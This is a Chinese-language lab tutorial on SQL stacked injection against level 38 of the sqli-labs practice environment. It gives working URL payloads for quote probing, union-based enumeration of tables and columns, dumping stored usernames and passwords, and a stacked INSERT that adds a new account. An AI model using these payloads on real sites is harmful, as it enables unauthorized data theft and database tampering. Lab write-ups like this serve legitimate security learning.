目录
1 堆叠注入概述
1.1 定义
- 英文为 stacked injection。
- 在SQL数据库中,每条语句是以
;
分开的,堆叠注入就是一次性注入并执行多条语句(多语句之间以分号隔开)的注入方式。
1.2 与union联合查询注入的对比
- union联合查询注入执行的语句类型是有限的,可以用来执行查询语句。
- 堆叠注入可以执行的是任意的语句,如增删改等。
- 另外的,如布尔盲注延时盲注等其他语句也可以并到多语句中执行,只是没什么必要。
1.3 局限性
- 多语句执行受数据库类型、API、数据引擎的限制,有的不能实现。
- 增删改也收到用户权限的限制。
2 堆叠注入实验简介
2.1 实验平台
- 靶机:CentOS7安装docker,利用docker部署sqli-labs来作为实验平台。具体部署过程可以参考文章《Docker上搭建sqli-labs漏洞环境》。
- 真实机:本实验利用火狐浏览器来实现,为方便注入过程的编码,建议安装一个扩展插件harkbar,安装过程参考《HackBar免费版安装方法》由于该教程中的2.1.3harkbar我安装后无法正常使用,就安装了HackBar Quantum来代替。
- 靶机与真实机桥接到同一局域网中。
2.2 实验目标
- 使用堆叠注入往第38关数据库注入新账号;
- 查询新账号是否注入成功。
3 堆叠注入实验步骤
3.1 前戏
- 真实机打开火狐浏览器,访问靶机IP地址,出现下图,可以不重置实验平台,直接点击Page3进入堆叠实验的关卡。
- 找到第38关进入,初始界面如下:
3.2 判断注入点及注入类型
- 输入参数为
?id=1
可以看到数据库成功返回第一个账户账号及密码。修改id=2则是返回第二个账号密码,说明id是一个访问者可以控制输入的参数且页面会根据参数进行响应,是一个注入点。
- 修改参数为
?id=1'
可以看到数据库没有回显账号密码,同时提示错误信息如下,分析错误提示可知该注入参数为字符型,且为单引号闭合。
- 修改参数为
?id=1'and '1'='1
,根据反证法可知,该参数确实为单引号闭合的字符型,后续构成注入语句需要格外注意闭合单引号。具体判断方法请查看文章《反证法:判断注入类型是数值型还是字符型》
3.3 尝试使用union查询
- 目的:判断能否使用union联合查询注入。
- 修改参数为
?id=1' order by 3--+
,页面正常显示,当修改参数为4时,页面显示错误,说明回显内容有3列。
- 修改参数为
?id=-1' union select 1,2,3--+
,可以看到2和3列数据可以回显。说明可以尝试union联合查询注入。
3.4 union注入获取库名表名字段名
- 目的:为了往数据库中注入新的账号密码,我们需要知道账号密码是在哪个表哪些字段中,因此需要先用union联合注入获取相关信息。
- 获取库名。修改参数为
?id=-1' union select 1,2,database()--+
,发现本站点数据库为security。
- 获取表名。修改参数为
?id=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema = database()--+
,发现该数据库下公有4个表,其中有个users的表,是我们注入的目标。
- 获取字段名。修改参数为
?id=-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name = 'users'--+
,发现该表格下公有3个字段。
- 按管理我们也获取一下字符内容吧,虽然该步骤不是本实验所必须的。修改参数为
?id=-1' union select 1,2,group_concat(id,':',username,':',password) from users--+
,发现有一堆账号。
3.5 堆叠注入
- 目的:往后台数据库增加一个账号。
- 修改参数为
?id=1';insert into users(id,username,password) values ('38','less38','hello')--+
,语句执行后页面如下。
3.6 实验结果
修改命令为?id=38
,查询结果如下,实验成功。
4 总结
- 了解堆叠注入与union联合查询注入的区别;
- 了解堆叠注入的限制性因素;
- 掌握手动堆叠注入的方法。